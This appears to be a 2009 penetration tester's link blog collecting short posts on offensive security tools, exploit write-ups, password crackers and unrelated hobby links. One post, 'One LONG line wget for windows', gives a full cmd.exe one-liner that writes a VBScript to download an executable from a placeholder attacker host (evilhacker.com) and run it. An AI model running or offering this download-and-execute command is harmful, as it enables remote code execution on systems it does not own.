MetaSploit Meterpreter Screenshot Script

http://ethackal.com/news/metasploit-meterpreter-script-screenshot/

Syngress free E-booklets

http://www.elsevierdirect.com/article.jsp?pageid=6876

Abusing Citrix - Part 3

http://synjunkie.blogspot.com/2009/03/abusing-citrix-part-3.html

Abusing Citrix - Part 2

http://synjunkie.blogspot.com/2009/03/abusing-citrix-part-2.html

And we have Holograms

Yes, I know this isn't technically a hologram, but it's damn cool:
http://gl.ict.usc.edu/Research/3DDisplay/

Penetration Testing Massive Links

This should keep you busy for a long while...

http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html

http://penetrationtests.com/

Token Kidnapping - Privilege Escalation Win2k3 / Win2k8

Privilege Escalation or "Token Kidnapping" for -
Windows 2003: http://nomoreroot.blogspot.com/2008/10/windows-2003-poc-exploit-for-token.html
Windows 2008: http://nomoreroot.blogspot.com/2008/10/token-kidnapping-windows-2008-poc.html

Check out the other awesomeness he has on his site.

VMWorld Europe 2009 Videos

Not sure if I posted this already or not, but this guy has some awesome other videos too:
http://www.boche.net/blog/index.php/2009/03/01/vmworld-europe-2009-videos/

10 Papers Every Programmer Should Read

.. at least twice... I have read 6 of them and I certainly agree. I'll push the rest to my Kindle once it arrives.

http://blog.objectmentor.com/articles/2009/02/26/10-papers-every-programmer-should-read-at-least-twice

TuxTraining

Free online linux crash courses, blog post style:
http://tuxtraining.com/

Index of / Rootsecure.net Tutorials (pdf)

http://www.rootsecure.net/content/downloads/pdf/

Wireless Security Tools

Stumbled across this list of Wireless tools
http://www.corecom.com/html/wlan_tools.html

SQL Injection for Oracle (pdf)

http://www.net-security.org/dl/articles/IntegrigyIntrotoSQLInjectionAttacks.pdf

Free Tools - Inguardians

http://www.inguardians.com/tools/

Free Tools - Joshua Wright

http://willhackforsushi.com/Offensive.html

http://willhackforsushi.com/Defensive.html

Free Tools - SecureState

https://www.securestate.com/Pages/Free-Tools.aspx

Uninformed PT and RE ezine

http://uninformed.org/index.cgi

Preventing SEH Overwrites

http://blogs.technet.com/srd/archive/2009/02/02/preventing-the-exploitation-of-seh-overwrites-with-sehop.aspx

The "Ultimate" list of Fuzzers

Doesn't seem very "Ultimate" but its a good list:
http://www.infosecinstitute.com/blog/2005/12/fuzzers-ultimate-list.html

c99madshell.php

You figure out what it is: http://www.derekfountain.org/security_c99madshell.php

Active Man in the Middle Attack

A presentation by Adi Sharabani from IBM on MITM:
http://blog.watchfire.com/wfblog/2009/02/active-man-in-the-middle-attacks.html

Social Engineering Webcast

Chris Nickerson and Mike Murray put on a good webinar about Social Engineering. Check out the recording and slide deck here:
http://www.ethicalhacker.net/content/view/242/2/

Shell Greed

On twitter I post a long shell command that would boot/kick off a system every other user. @marcinw made it shorter and I submitted it to Shell-fu.org. Today they posted it live. Here is the link:
http://www.shell-fu.org/lister.php?id=558

HTML to PDF

The site just just as it says. Has a ton of applications, but the one I'm interested in at the moment, is using to to throw things on my Kindle for later reading.
http://www.html-pdf-converter.com/

Abusing Citrix - Part 1

An old hack that still works. Awesome:
http://synjunkie.blogspot.com/2009/03/abusing-citrix-part-1.html

PHP Shell Injection through PHP Log Parsing

http://securitytube.net/PHP-Shell-Injection-on-a-Website-through-Log-Poisoning-video.aspx

Public Rainbow-Tables

Oldie but a goodie that you just might not know about:
http://www.plain-text.info

One LONG line wget for windows

"cmd.exe /c echo Const adTypeBinary = 1 > C:\windows\getnrun.vbs & echo Const adSaveCreateOverWrite = 2 >> C:\windows\getnrun.vbs & echo Dim BinaryStream >> C:\windows\getnrun.vbs & echo Set BinaryStream = CreateObject("ADODB.Stream") >> C:\windows\getnrun.vbs & echo BinaryStream.Type = adTypeBinary >> C:\windows\getnrun.vbs & echo BinaryStream.Open >> C:\windows\getnrun.vbs & echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) >> C:\windows\getnrun.vbs & echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >> C:\windows\getnrun.vbs & echo Function BinaryGetURL(URL) >> C:\windows\getnrun.vbs & echo Dim Http >> C:\windows\getnrun.vbs & echo Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") >> C:\windows\getnrun.vbs & echo Http.Open "GET", URL, False >> C:\windows\getnrun.vbs & echo Http.Send >> C:\windows\getnrun.vbs & echo BinaryGetURL = Http.ResponseBody >> C:\windows\getnrun.vbs & echo End Function >> C:\windows\getnrun.vbs & echo Set shell = CreateObject("WScript.Shell") >> C:\windows\getnrun.vbs & echo shell.Run "C:\update.exe" >> C:\windows\getnrun.vbs & start C:\windows\getnrun.vbs http://evilhacker.com/update.exe C:\update.exe"

Fact/Fiction Book by Jayson Street

Check out the site for some sneak peeks into the Fact/Fiction book coming out BH USA / DefCon timeframe!
The Story is F1ct10n The threats are real.

Developer Cheet Sheets galore

A bunch of programming cheet sheets. Why post it here? Because those SQL, BATCH, and Bash cheet sheets come in mighty handy during pentests:
http://www.fuzzyopinions.com/article/technology/the-developer-cheat-sheet-compilation

Defcon 16 Videos and Audio

All of the video and audio uploads were completed:
https://media.defcon.org/

Warvox 1.0.0 Official Release

http://warvox.org/

Flash and Javascript Evaluater

This a pretty awesome service, still in alpha so play nice:
http://wepawet.iseclab.org/index.php

They have examples that you can check out if you don't have anything on hand to throw at it.

Running WMIC from Meterpreter or Netcat command shell

http://darkoperator.blogspot.com/2009/03/running-wmic-in-command-shell.html

Mod_Rewrite Mastery

http://www.askapache.com/htaccess/mod_rewrite-tips-and-tricks.html

L0phtCrack 6 To Be Released At SOURCE Boston 2009

L0phtCrack is back! At a special information session at SOURCE Boston (Thursday, 10:15am), the team that brought you L0phtCrack will be releasing version 6 of the highly-acclaimed Windows password auditing tool. Expect www.l0phtcrack.com to go live soon! See you at SOURCE!

read more | digg story

L0phtCrack Lives!

http://www.l0phtcrack.com/

If you are going to SOURCE Boston, you get a front row ticket to this ride. I hate you all...

Chris Nickerson Interview

http://www.searchsecurityasia.com/content/penetration-tester-explains-secrets-accessing-corporate-systems

Digital Soapbox - Latest ClickJacking Twitter Exploit vs. Firefox + NoScript

Here is a great article by Rafal Los on ClickJacking: http://preachsecurity.blogspot.com/2009/02/latest-clickjacking-twitter-exploit-vs.html

OneSwarm - PGP P2P

Secure Peer-2-Peer sharing?
Interesting: http://oneswarm.cs.washington.edu/

Oracle Security Blog

Please excuse the horrid color scheme for some awesome tech crunchiness:
http://www.petefinnigan.com/weblog/entries/

What about Bob! (the Butcher)

Since we were on the topic of cracking passwords, I can't leave out Bob, he is always jealous of how much attention that 'Ripper' guy gets:
http://btb.banquise.net/

Oracle Password Cracker - woraauthbf 0.22

Something magical about finding a tool that you need at just the right time.

http://www.soonerorlater.hu/index.khtml?article_id=513

VMMap (by SysInternals)

VMMap is a process virtual and physical memory analysis utility. It shows a breakdown of a process's committed virtual memory types as well as the amount of physical memory (working set) assigned by the operating system to those types. Besides graphical representations of memory usage, VMMap also shows summary information and a detailed process memory map. Powerful filtering and refresh capabilities allow you to identify the sources of process memory usage and the memory cost of application features.

Besides flexible views for analyzing live processes, VMMap supports the export of data in multiple forms, including a native format that preserves all the information so that you can load back in. It also includes command-line options that enable scripting scenarios.

VMMap is the ideal tool for developers wanting to understand and optimize their application's memory resource usage.

http://technet.microsoft.com/en-us/sysinternals/dd535533.aspx

McFeters lives again! nsearch ImmunityDbg searching script

Nate posts about a memory searching script for ImmunityDbg

http://natemcfeters.blogspot.com/2009/02/nsearch-new-immunitydbg-searching.html

Packets and Logs from ShmooCon

Tenable's assessment of what happened at Shmoo:
http://blog.tenablesecurity.com/2009/02/packets-and-logs-found-on-the-shmoocon-network.html

InfoSec Magazine - Feb

Ok ok, so I'm posting this because an Ad for the Academy made it into a full page (35). But it's cool because a good friend of mine was the actual designer of the page.
http://searchsecurity.techtarget.com/magOnline/0,,sid14_gci1347059,00.html

Command Line / Shell Fu Part Deux

Paul Asadoorian and Byte_Bucket have started a blog about cool command line tricks here:
http://blog.commandlinekungfu.com/

Command Line / Shell Fu

Some links to answer "now what" after you popped shell.

Shell Fu:
http://www.shell-fu.org/

Command Line Fu:
http://www.commandlinefu.com/

Ed Skoudis released 3 cheat sheets:
http://www.inguardians.com/pubs/articles.html

RainbowCrack 1.3 Released

Multicore and CUDA (GPU) integration. w00t!

http://www.professionalsecuritytesters.org/modules.php?name=News&file=article&sid=1005

Valentines for all you trekkies out there

http://www.etsy.com/view_listing.php?listing_id=20121538

Cookies you didn't know you had. DELETE

http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager07.html

JavaScript Unpacker

Awesome tool released at ShmooCon - You'll know it if you need it: http://jsunpack.jeek.org/dec/go

List of 'bad' sites and blocklists

Here is a list of known bad sites:
http://www.malwaredomainlist.com/mdl.php?inactive=&sort=IP&search=&colsearch=All&ascordesc=ASC&quantity=100&page=0

Here is my favorite blocklist site:
http://iblocklist.com/lists.php

BT4 USB/Persistent Changes/Nessus

A great tutorial that shows you how to get all three working with the new release of Back|Track. Remeber it is still BETA. WHICH MEANS THEY NEED FEEDBACK! - http://www.infosecramblings.com/backtrack/backtrack-4-usbpersistent-changesnessus/

Security PR Excuse Bingo

Play internally, play via Google News or Digg. However you chose to play, it's still hours of fun:
http://www.crypto.com/bingo/pr

Vulnerable Versions of Software

Check out: https://www.securinfos.info/old-softwares-vulnerable.php for software to try your RE / Hack fu on.

BackTrack 4 Beta NOTES

I would suggest you read these before going too deep into BT4: http://backtrack4.blogspot.com/2009/02/backtrack-4-beta-shmoo-release.html

Bypassing firewalls with Metasploit using port forwading

http://hkashfi.blogspot.com/2008/04/bypassing-firewalls-with-port.html

Oregon Trail

Yes, in all it's 4 bit color wonder: http://www.virtualapple.org/oregontraildisk.html

Digital Soapbox - Information Security, Risk & Data Protection Blog: Unix Time Reaches Milestone on 2/13/2009

Digital Soapbox - Information Security, Risk & Data Protection Blog: Unix Time Reaches Milestone on 2/13/2009

Back|Track 4 Blog

Watch as this amazing creation is formed: http://backtrack4.blogspot.com/

Security Podcast Links

I don't believe it is updated much anymore (other than the automatic rss feed updates), but the following link is a great place to load up:

http://getmon.com/

Retaggr - A social media biz card

http://www.retaggr.com/Home/Demo

I Like Turtles

You must buy this shirt:

http://www.pawmedia.com/products/oa-army-i-like-turtles-short-sleeve-t-shirt.html

Real hackers are invisible

A well written first hand account of hacker passion:

http://www.spongefish.com/creations/5249-Real-hackers-are-invisible/steps/1

Security Whitepapers for your information pipeline

Some good security papers to add to your pipeline:

http://www.irmplc.com/researchlab/whitepapers

10 Essential Cheat Sheets

http://www.makeuseof.com/tag/7-essential-cheat-sheets/

You can also find some awesome cheat sheets here: http://packetlife.net/cheatsheets/

How to speed up torrent downloads

As advertised: http://filesharefreak.com/tutorials/how-to-speed-up-torrents-with-low-seeders/

Swedish alien spins fat tunes

Check his stuff out here: http://www.alienswede.com/
and on twitter: http://twitter.com/Alienswede

Free stock photography

This is pure money: http://photl.com - There is a rate limit of 45 mbs a day, but the DB of images is huge.

CERT-IN-A-BOX

Yay! No more incident response! : http://www.govcert.nl/render.html?it=69

I am, but they aren't joking.

USB Snoop - TCPDump for USB

No transfers are sacred any more... http://usbsnoop.sourceforge.net/

DirectCopy

Copy the SAM without admin access? Muhahahah: http://www.rohitab.com/discuss/lofiversion/index.php/t24252.html

Uninformed - RE and Exploit Webzine

Beginners be warned: http://www.uninformed.org/

A Web 'Debugging' proxy

Tomato, Tomahto, Hacking, Debugging, meh.. : http://www.fiddler2.com/fiddler2/

Rebooting a (Cisco) Router from User Mode

Yup, exactly: http://blog.internetworkexpert.com/2008/10/12/rebooting-a-router-from-user-mode/

"Hacker" Tools list

This isn't a bad list at all: http://www.securityhaven.com/tools.html

Hallucinate with ping-pong balls

This is just so crazy I had to post it: http://www.boston.com/bostonglobe/ideas/graphics/011109_hacking_your_brain/

Best ubuntu derivative yet - Crunchbang

Low resource usage than Xubuntu and much more organized. Check it out at:
http://crunchbang.org/

USB Powered Hamster

No animals were conically harmed in the making of this toy: http://www.getdigital.de/products/USB_Hamster

Turning Firefox into a Web Application Assault Kit

Umm, yah, what he said: http://timtux.net/articles/Turning+Firefox+Into+A+Web+Application+Assault+Kit

iptables ROCKS!

If you didn't know about this site, you do now, and it's a well written in depth guide to iptables: http://www.iptablesrocks.org/

SQL Injection Attacks by Example

http://unixwiz.net/techtips/sql-injection.html

CORE Impact Essentials Trial Version

You know what CORE is, check out it's baby sister's trial version for free goodness: http://www.coresecurity.com/content/core-impact-essential-overview

Yokoso - XSS escalated

Tag line -- "So what can you do with XSS" - Yokoso! answers that question. Check it out at: http://yokoso.inguardians.com/

58 Cool (old) Linux "hacks"

From 2004 but some awesome gems in the list: http://www.linuxformat.co.uk/wiki/index.php/58_Cool_Hacks

The day Twitter got hacked

http://blog.twitter.com/2009/01/monday-morning-madness.html

Free logo starting points

I know this isn't security related, but a lot of us make web sites and usually the logo, well, graphics design for that matter is the most feared. Here is a great place to get started:
http://www.logoinstant.com/

I found the Intertubes!

Why was my first thought to cut these and scream "Alex Sotirov eat your heart out!"? Be gone you evil thoughts.

http://www.wired.com/culture/art/multimedia/2008/01/gallery_simon?slide=10&slideView=10

USAF Rules of Engagement for Blogging

Actually not a bad ROE for any blogger:

http://www.globalnerdy.com/2008/12/30/the-air-forces-rules-of-engagement-for-blogging/comment-page-1/